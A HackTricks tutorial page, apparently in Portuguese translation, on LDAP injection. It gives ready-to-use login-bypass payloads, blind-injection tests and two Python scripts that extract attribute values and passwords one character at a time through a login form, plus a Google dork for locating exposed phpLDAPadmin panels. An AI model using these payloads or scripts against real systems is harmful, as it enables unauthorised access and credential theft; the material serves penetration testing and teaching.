LDAP Injection

LDAP Injection

Support HackTricks

Se você está interessado em carreira de hacking e hackear o inhackeável - estamos contratando! (fluência em polonês escrita e falada é necessária).

LDAP Injection

LDAP

Se você quer saber o que é LDAP, acesse a seguinte página:

LDAP Injection é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação não sanitiza corretamente a entrada, permitindo que atacantes manipulem declarações LDAP através de um proxy local, potencialmente levando a acesso não autorizado ou manipulação de dados.

Filtro = ( filtercomp ) Filtercomp = and / or / not / item And = & filterlist Or = |filterlist Not = ! filter Filterlist = 1*filter Item= simple / present / substring Simple = attr filtertype assertionvalue Filtertype = '=' / '~=' / '>=' / '<=' Present = attr = * Substring = attr ”=” [initial] * [final] Initial = assertionvalue Final = assertionvalue (&) = Absolute TRUE (|) = Absolute FALSE

Por exemplo: (&(!(objectClass=Impresoras))(uid=s*)) (&(objectClass=user)(uid=*))

Você pode acessar o banco de dados, e isso pode conter informações de muitos tipos diferentes.

OpenLDAP: Se 2 filtros chegarem, apenas executa o primeiro. ADAM ou Microsoft LDS: Com 2 filtros, eles geram um erro. SunOne Directory Server 5.0: Executa ambos os filtros.

É muito importante enviar o filtro com a sintaxe correta ou um erro será gerado. É melhor enviar apenas 1 filtro.

O filtro deve começar com: & ou | Exemplo: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*)) VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Então: (&(objectClass=*)(ObjectClass=*)) será o primeiro filtro (o que é executado).

Login Bypass

LDAP suporta vários formatos para armazenar a senha: clear, md5, smd5, sh1, sha, crypt. Portanto, pode ser que independentemente do que você insira na senha, ela seja hash.

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Listas

Injeção LDAP Cega

Você pode forçar respostas Falsas ou Verdadeiras para verificar se algum dado é retornado e confirmar uma possível Injeção LDAP Cega:

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Dump data

Você pode iterar sobre as letras ascii, dígitos e símbolos:

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Scripts

Descobrir campos LDAP válidos

Objetos LDAP contêm por padrão vários atributos que podem ser usados para salvar informações. Você pode tentar forçar todos eles para extrair essas informações. Você pode encontrar uma lista de atributos LDAP padrão aqui.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()

Injeção LDAP Cega Especial (sem "*")

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

Google Dorks

intitle:"phpLDAPadmin" inurl:cmd.php

Mais Payloads

Se você está interessado em carreira de hacking e hackear o inhackeável - estamos contratando! (fluência em polonês escrita e falada é necessária).

Support HackTricks

Last updated